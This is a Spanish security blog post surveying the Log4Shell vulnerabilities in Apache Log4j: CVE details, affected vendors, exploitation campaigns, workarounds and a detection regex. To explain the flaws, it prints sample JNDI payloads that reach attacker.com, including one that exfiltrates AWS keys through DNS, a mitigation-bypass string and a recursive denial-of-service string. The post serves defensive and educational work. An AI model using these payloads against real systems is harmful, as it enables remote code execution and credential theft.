Cabecera blog ciberseguridad

Log4j foto completa: Todas las vulnerabilidades de Log4Shell

- Oscar Mallo, Jose Rabal

La vulnerabilidad Log4Shell es una de las más graves de la última década

Las vulnerabilidades que afectan al componente Log4j han desencadenado un terremoto a nivel mundial. Tarlogic presenta una serie de recomendaciones para prevenir y contener las amenazas de Log4Shell

Es una de las mayores vulnerabilidades de la última década, quizás la mayor. La sacudida dentro de la comunidad de ciberseguridad por la aparición de Log4Shell ha sido global, al extremo de que a día de hoy creemos que exista nadie en el sector TI que no conozca las distintas vulnerabilidades que afectan al componente Log4j. Es por ello que el equipo de Ciberseguridad de Tarlogic Security ha elaborado un exhaustivo análisis sobre el incidente. En este artículo detallamos las distintas vulnerabilidades y aportamos una serie de recomendaciones para prevenir y contener posibles amenazas de Log4Shell.

¿Qué es Log4j?

Log4j es un componente de código abierto mantenido por la Fundación Apache basado en Java que se incorpora comúnmente a las aplicaciones Java. Permite registrar trazabilidad de operaciones a nivel funcional y operativo en multitud de servicios, incluso desde el punto de vista de la seguridad.

¿Qué es JNDI?

JNDI (Java Naming and Directory Interface) es una interfaz de programación de aplicaciones (API) que proporciona acceso a servicios de nombres y directorios para referenciar objetos y datos que pueden ser integrados dentro de la infraestructura de software. Al tratarse de una capa abstracción, permite dar soporte a multitud de protocolos como LDAP, RMI, CORBA, etc. A continuación, se muestra un modelo de integración de JNDI sobre distintos tipos de servicios, obtenido de la documentación oficial de Oracle:

Modelo de integración de JNDI sobre distintos tipos de servicios

El origen

En el día 29 de noviembre, se registra en la plataforma de gestión de incidencias de Apache para el proyecto Log4j información acerca de distintos problemas que podrían afectar a la seguridad de las aplicaciones que hacen uso de este componente.

• https://issues.apache.org/jira/browse/LOG4J2-3198

• https://issues.apache.org/jira/browse/LOG4J2-3201

Esta información revela la posibilidad de aprovechar ciertas características definidas por el proyecto Log4j y su integración con JNDI para llevar a cabo distintos vectores de ataque que podrían dar lugar a ejecución remota de código.

Mediante la inyección de cadenas especialmente manipuladas sobre los mensajes generados por el componente Log4J, sería posible comprometer seriamente la seguridad de aquellos productos que hacen uso de este componente.

Inicialmente se pensaba que tanto el módulo org.apache.logging.log4j:log4j-core, como org.apache.logging.log4j:log4j-api eran vulnerables, sin embargo, la fundación apache confirmó que las distintas vulnerabilidades identificadas únicamente afectaban al primero de ellos.

Vulnerabilidades publicadas por orden cronológico

  1. CVE-2021-44228
  • Fecha publicación: 10/12/2021 (NVD).
  • Base Score: 10.0 (Crítica).
  • Vector CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Versiones afectadas: Apache Log4j2 2.0-beta9 a 2.12.1 y 2.13.0 a 2.15.0.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228

Mediante esta vulnerabilidad un atacante que pueda controlar una entrada de datos que sea reflejada en los logs de un aplicativo a través del componente afectado log4j podría dar lugar a una ejecución arbitraria de código.

Esta posibilidad está relacionada con la funcionalidad del componente, que se encuentra activada por defecto en versiones inferiores a 2.15.0, para sustituir ciertas cadenas de forma dinámica. Los vectores de explotación varían en función del tipo de payload y service provider empleado.

Si bien el más extendido es LDAP, también se han evidenciado vectores de explotación como por ejemplo a través de RMI. En este sentido alguno de los payloads más comunes son los siguientes:

${jndi:ldaps://attacker.com/exploit} ${jndi:rmi://attacker.com/exploit}.

La evaluación de estos payloads desencadenaría una conexión contra un servicio externo que podría alojar código malicioso que sería ejecutado por el aplicativo. Cabe destacar que también es posible hacer uso del service provider DNS.

En este caso el payload no permitiría una ejecución de código por sí podría ser aprovechado tanto para identificar una aplicación vulnerable, así como para exfiltrar posibles variables de entorno que almacenen información sensible.

Un ejemplo de esta información sensible podrían ser API keys de plataformas integrados en una aplicación como son servicios en la nube de AWS, Azure o Google Cloud.

${jndi:dns://${env:AWS_ACCESS_KEY_ID}.${env:AWS_SECRET_ACCESS_KEY}.attacker.com}

2. CVE-2021-45046

  • Fecha publicación: 14/12/2021
  • Base Score: 9.0 (Crítica)
  • Vector CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Versiones afectadas: 2.0.1 – 2.12.2 (excluida) y 2.13.0 – 2.16.0 (excluida)

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046

Inicialmente asignado con Score CVSS 3.7 (riesgo bajo). log4shell cvss

https://web.archive.org/web/20211217105731/https://nvd.nist.gov/vuln/detail/CVE-2021-45046

Sin embargo, a lo largo de los días se demostró que seguía siendo posible tanto la ejecución remota de código en ciertos entornos, así como la revelación de información de variables de entorno del servidor que pudiesen contener información sensible. Por esta razón, se elevó su nivel de criticidad a un valor de 9.0. log4j cvss

El siguiente payload permite evadir las mitigaciones definidas por Apache tras la actualización del componente:

${jndi:ldap://127.0.0.1#attacker.com/exploit}

La versión Log4j 2.16.0 (Java 8) y 2.12.2 (Java 7) corrigen esta vulnerabilidad al deshabilitar las funcionalidades de patrones de búsqueda de mensajes y JNDI por defecto.

3. CVE-2021-45105

  • Fecha publicación: 14/12/2021
  • Base Score: 7.5 (Alta)
  • Vector CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Versiones afectadas: Log4j2 versions 2.0-alpha1 hasta 2.16.0 (incluida).

En casos de configuraciones de trazas logging en las que se utilizan resoluciones recursivas es posible generar una excepción de StackOverflow que puedar lugar a la finalización del proceso del aplicativo vulnerable, dando lugar a una vulnerabilidad de denegación de servicio (DoS).

Un ejemplo de payload que permite reproducir esta vulnerabilidad se detalla a continuación:

${${::-${::-$${::-j}}}}

Corregida en las versiones Log4j 2.17.0 and 2.12.3.

Mitigaciones Log4Shell

Aunque existen diversos workarounds propuestos por la fundación Apache con el objetivo de reducir el riesgo de explotación de esta vulnerabilidad, la solución principal y que se considera realmente eficaz consiste en actualizar el componente Log4j a la última versión disponible, que a fecha de hoy se es la versión Log4j 2.17.0 (Java 8) y 2.12.3 (Java 7).

Workarounds publicados por Apache

Para casos en donde no sea posible aplicar la solución principal recomendada de actualización, o como medidas adicionales de defensa en profundidad, existe la posibilidad de llevar a cabo los siguientes workarounds publicados por Apache. -Para versiones de Log4j 2.10.0 y posteriores

  • Dlog4j2.formatMsgNoLookups=true to disable the variable extrapolation
  • set LOG4J_FORMAT_MSG_NO_LOOKUPS=true environmental variable to achieve the above behavior
  • NOTA: Sigue existiendo la posibilidad de ejecuciones remotas de código bajo algunas circunstancias específicas no predeterminadas.

-Para todas las versiones

  • Eliminar la clase JNDILookup del jar y volver a empaquetar el jar y la aplicación. Esta solución debe ser evaluada ya que podría afectar al funcionamiento del aplicativo dependiendo de la infraestructura de despliegue.

find ./ -type f -name «log4j-core-*.jar» -exec zip -q -d «{}» org/apache/logging/log4j/core/lookup/JndiLookup.class \;

Afectación en versiones de Java

En versiones actualizadas (Java 11.0.2 o superior o Java 8u192) la inyección de clases arbitrarias desde recursos externos se encuentra desactivada. Esto dificulta la explotación por parte de atacantes.

Sin embargo, se ha demostrado que, por un lado, aún es posible forzar resoluciones DNS a servidores externos, lo cual puede ser aprovechado para exfiltrar información sensible de variables del sistema y causar potenciales denegaciones de servicio.

Por otro lado, también se ha detectado la posibilidad de seguir logrando una ejecución remota de código dependiendo de las clases disponibles en el classpath de la aplicación mediante técnicas de gadget chains. Si bien la complejidad de lograr esta explotación es considerablemente más elevada, sigue siendo posible.

Por esta razón, la principal vía de mitigación que se considera eficaz es la de actualizar la librería Log4j a la última versión, actualmente 2.17.0 y 2.12.3.

Software afectado

Es necesario destacar que muchas soluciones tanto open-source como comerciales han sido afectadas por esta vulnerabilidad y han publicado o están trabajando en la publicación de parches correspondientes. Estudios realizados por Google indican que un 8% de los paquetes del repositorio central de Maven se han visto afectados por esta vulnerabilidad.

https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html

Para ser conscientes de la magnitud su impacto solo hace falta echar un vistazo a las publicaciones de advisory de muchos fabricantes y proveedores de servicios a nivel global. A continuación, se detalla una breve lista (que sigue creciendo).

  • Apple
  • Intel
  • Amazon
  • Oracle
  • VMWare
  • IBM
  • Cisco
  • Redhat
  • Attlasian
  • BMC
  • Fortinet
  • F5
  • McAfee
  • Twitter
  • Baidu
  • Tesla
  • Palo Alto
  • Sonicwall
  • Solarwinds

Adicionalmente, gran cantidad de soluciones open source y comerciales también se encuentran afectadas como las mostradas a continuación:

Mayoría de aplicaciones que usan Java en sus infraestructuras:

  • Apache Struts
  • Apache Struts2
  • Apache Tomcat
  • Apache Spark
  • Apache Solr
  • Apache Kafka
  • ElasticSearch
  • flume
  • Logstash
  • IBM Qradar SIEM
  • NetApp
  • Pulse Secure

Esta situación pone en evidencia la amplia integración de este componente. La superficie de exposición es tan elevada que incluso el Helicóptero Ingenuity de la Nasa hace uso de Log4j.

Hasta el helicóptero Ingenuity de la NASA hace uso de Log4J

Debido a la naturaleza de la vulnerabilidad, su ubicuidad y la complejidad de la aplicación de parches en algunos de los entornos afectados, es importante que todas las organizaciones, evalúen su exposición potencial lo antes posible.

Dada la inmensidad de productos vulnerables, a continuación, enlazamos un inventario software afectado, recopilado por el Centro nacionalidad de ciberseguridad de Holanda:

https://github.com/NCSC-NL/log4shell/blob/main/software/README.md

Explotación activa

Del mismo modo que ha ocurrido en otras ocasiones, la explotación de esta vulnerabilidad por parte de actores hostiles ya ha sido detectada por el centro de inteligencia de Microsoft (MSTIC) habiendo especial hincapié en actividad de estos grupos con origen en China, Irán, Corea del Norte y Turquía.

Concretamente, han identificado a HAFNIUM, un grupo de actores de amenazas que opera fuera de China, utiliza la vulnerabilidad para atacar infraestructuras de virtualización para extender su objetivo.

https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/

Campañas de ransomware Log4shell

No hacía falta esperar mucho para ver incorporada esta vulnerabilidad como vector de ataque para infecciones por ransomware.

A pesar de que la mayoría de los ataques tenían como objetivo sistemas Linux, Bitdenfender ha identificado campañas por parte de actores maliciosos para desplegar sobre entornos Windows un ransomware perteneciente a la familia Khonsari.

https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild

https://www.virustotal.com/gui/file/f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789

Adicionalmente el centro de operaciones de inteligencia de Microsoft ha observado a PHOSPHORUS, un actor iraní que ha estado implementando ransomware realizando modificaciones del exploit Log4j.

Botnets & Log4shell

Distintos actores vinculados a Botnets como (Mirai y Muhstik) han sido identificados aprovechando esta vulnerabilidad con el objetivo de afectar sistemas y expandir su infraestructura.

https://blog.netlab.360.com/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/

Minado & Log4shell

Si no era poco, también se han identificado distintos actores desplegando scripts para la ejecución del software de minado XMRIG.

Déjà vu / Lecciones aprendidas

Dada la amplia aceptación de gran cantidad de componentes software comúnmente extendidos no es de esperar que esta situación vuelva a repetirse en un futuro no muy lejano.

Por esta misma razón, desde Tarlogic aportamos una serie de recomendaciones generales para tratar de optimizar la aplicación de soluciones ante escenarios similares y específicos como el caso de Log4Shell.

Claves para anticiparse ante posibles situaciones futuras

La única manera de hacer frente a retos de estas características es seguir un planteamiento de seguridad de defensa en profundidad. A continuación, aportamos distintas medidas a seguir tanto para anticiparse como para abordar con celeridad un posible incidente como el que se ha producido.

1. Inventario de activos Es completamente necesario disponer de un inventario actualizado de activos con el objetivo de identificar la posible afectación que podría tener una vulnerabilidad en la infraestructura tecnológica de la organización.

En este sentido es interesante conocer de primera mano tanto las dependencias incluidas en proyectos software, especialmente en aquellas plataformas que se encuentren publicadas a Internet de cara a evaluar el grado de exposición y el riesgo potencial ante este tipo de situaciones.

En este caso concreto la vulnerabilidad afecta tanto a software desplegado en aplicaciones en producción como a aplicaciones de uso diario desplegadas en workstations de trabajadores de la organización e incluso en sistemas embebidos.

2. Seguridad perimetral En el caso de aquellas plataformas que se encuentren públicamente expuestas, como medida de defensa en profundidad, es muy recomendable disponer de sistemas proactivos de detección cómo, por ejemplo, firewalls, WAF (Web Application Firewalls) o sistemas IPS (Intrusion Prevention Systems) que permitan bloquear patrones de entrada ofensivos.

Si bien es posible que inicialmente no existan reglas específicas para la explotación de nuevas vulnerabilidades, los fabricantes son proactivos en la generación y actualización de nuevas reglas, por lo que es importante actualizar este tipo de sistemas lo antes posible. En muchos casos, la aplicación de estas medidas, a pesar de no tratarse de soluciones definitivas, suele poder llevarse a cabo de forma más inmediata que las actualizaciones de software a componentes de la infraestructura, por lo que pueden ser de gran utilidad como primera línea de defensa y aportar un margen temporal adicional para la aplicación de las actualizaciones específicas.

Por ejemplo, el caso de log4shell ha dado lugar a 3 vulnerabilidades y la investigación de otros posibles vectores de ataque continúa en desarrollo. Es interesante conocer los tipos de comunicaciones y protocolos que realizan las plataformas corporativas y restringir cualquier tipo de tráfico no intencionado inicialmente.

3. Monitorización continua Con el objetivo de detectar un intento o explotación exitosa de una vulnerabilidad sobre sistemas de la infraestructura corporativa es necesario disponer de trazabilidad de actividades maliciosas de cara a plantear una respuesta a incidentes o disponer de una mayor visibilidad de potenciales amenazas que puedan afectar a los sistemas de la organización.

4. Respuesta Si una organización ha sido víctima de una explotación exitosa de la vulnerabilidad es necesario activar los protocolos de respuesta a incidentes previamente definidos de cara a contener la actividad maliciosa de un actor malicioso externo.

Estas tareas incluyen tanto la identificación de sistemas afectados, restringir cualquier tipo de movimiento lateral y el saneamiento de la infraestructura.

5. Actualización Somos conscientes de que las capacidades de actualización de plataformas o sistemas corporativos puede ser una tarea difícil en función de las capacidades y madurez de una compañía. Este tipo de actividades pueden incluir tareas que afecten a distintos departamentos de la organización tanto desde el punto de vista de los equipos de desarrollo como el departamento de administración de sistemas.

Desde el punto de vista de equipos de desarrollo es de especial interés adoptar paradigmas de CI/CD que permitan priorizar la aplicación de actualizaciones correspondientes en las plataformas desplegadas. Teniendo en cuenta la orientación de equipos de administración de sistemas es de utilidad disponer de herramientas de escaneo sobre el inventario de versiones vulnerables de aplicativos para poder priorizar la aplicación de actualizaciones de seguridad sobre productos afectados.

El enfoque global en este punto sería disponer de una perspectiva DEVSEC OPS.

Español: https://www.redhat.com/es/topics/devops/what-is-devsecops

Inglés: https://www.redhat.com/en/topics/devops/what-is-devsecops

Recomendaciones específicas para Log4shell

A continuación, se detallan un conjunto de medidas para mitigar la posible explotación de esta vulnerabilidad:

Herramientas para la detección:

  • Snyk CLI – Herramienta para identificar dependencias de componentes vulnerables.

https://snyk.io/blog/log4shell-remediation-cheat-sheet/

Medidas para detectar intentos de explotación Con el objetivo de analizar intentos de explotación en la infraestructura es recomendable buscar eventos que contengan la secuencia de caracteres «jndi» y una combinación de cadenas que incluyan «ldap», «rmi», «ldaps» o «dns», generados a partir de solicitudes HTTP/s, que corresponden a posibles patrones de explotación de Log4j.

Para ello, se pueden crear expresiones regulares que traten de identificar estas cadenas en contextos de inyección, las cuales en muchas ocasiones incluyen vectores que tratan de ofuscar el payload original. Un ejemplo de expresión regular para la detección de la cadena ${jdni: podría ser el siguiente:

(?i)(\$|\%24)(\{|\%7b).*j.*n.*d.*i.*(\:|\%3a)

Se ha de tener en cuenta que las expresiones regulares utilizadas no detectan todas las variaciones y pueden generar falsos positivos.

Referencias:

https://cloud.google.com/blog/products/identity-security/recommendations-for-apache-log4j2-vulnerability

https://snyk.io/blog/log4j-vulnerability-software-supply-chain-security-log4shell/

Indicators of compromise (IOCs)

Distintas entidades han recopilado un inventario de IOCs en los que figuran direcciones IP desde las que se ha identificado actividad maliciosa, así como los payloads correspondientes. A continuación, se listan alguna de ellas.

Recomendaciones de migitación para infraestructuras cloud

Adicionalmente, distintos proveedores de servicios en la nube han publicado una serie de guías de mitigación para las distintas vulnerabilidades de Log4j.

Microsoft Azure

Guía de mitigación para los servicios de Microsoft
Azure App Service (Windows and Linux and Containers)
Azure Application Gateway, Azure Front Door, and Azure WAF
Azure Functions
Azure HDInsights
Azure Spring Cloud
Microsoft Azure AD
Information for Security Operations and Hunters

Google Cloud

Amazon AWS

• Servicios de seguridad AWS para proteger y responder a las vulnerabilidades de log4j – https://aws.amazon.com/es/blogs/security/using-aws-security-services-to-protect-against-detect-and-respond-to-the-log4j-vulnerability/

El recurso detalla cómo hacer uso de:

  • AWS Web Application Firewall así como sus reglas gestionadas para proteger distintos servicios.
  • AWS Network firewall para desplegar reglas de detección IDS/IPS compatibles con Suricata.
  • Amazon Inspector para la identificación de componentes vulnerables en instancias Amazon EC2 y ECR
  • AWS Patch Manager para gestionar la actualización de instancias EC2 AWS GuardDuty para detectar indicios de explotación de la vulnerabilidad en base a comportamientos sospechosos detectados.
  • AWS CloudWatch para detectar en los logs de los recursos VPC posible tráfico relacionado con la explotación de Log4Shell.

Conclusiones

La vulnerabilidad Log4Shell ha puesto de manifiesto que cualquier componente de software puede introducir, de forma inesperada, un riesgo de impacto crítico en nuestras aplicaciones. Si bien es muy común el uso de librerías y componentes de terceros para optimizar el desarrollo de software, la aparición de problemas de seguridad en estos recursos puede conllevar riesgos globales que requieren de una rápida respuesta.

Desde Tarlogic llevamos trabajando con nuestros clientes desde el primer momento en que se identificó esta vulnerabilidad aportando nuestro conocimiento para mitigar y contener cualquier tipo de amenaza.

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/

Más artículos de la serie Log4Shell

Este artículo forma parte de una serie de articulos sobre Log4Shell

  1. Vulnerabilidad Log4Shell CVE-2021-44228, el nuevo ciberapocalipsis
  2. Seguimiento de los ataques JNDI: Cazando Log4Shell en su red
  3. Log4j foto completa: Todas las vulnerabilidades de Log4Shell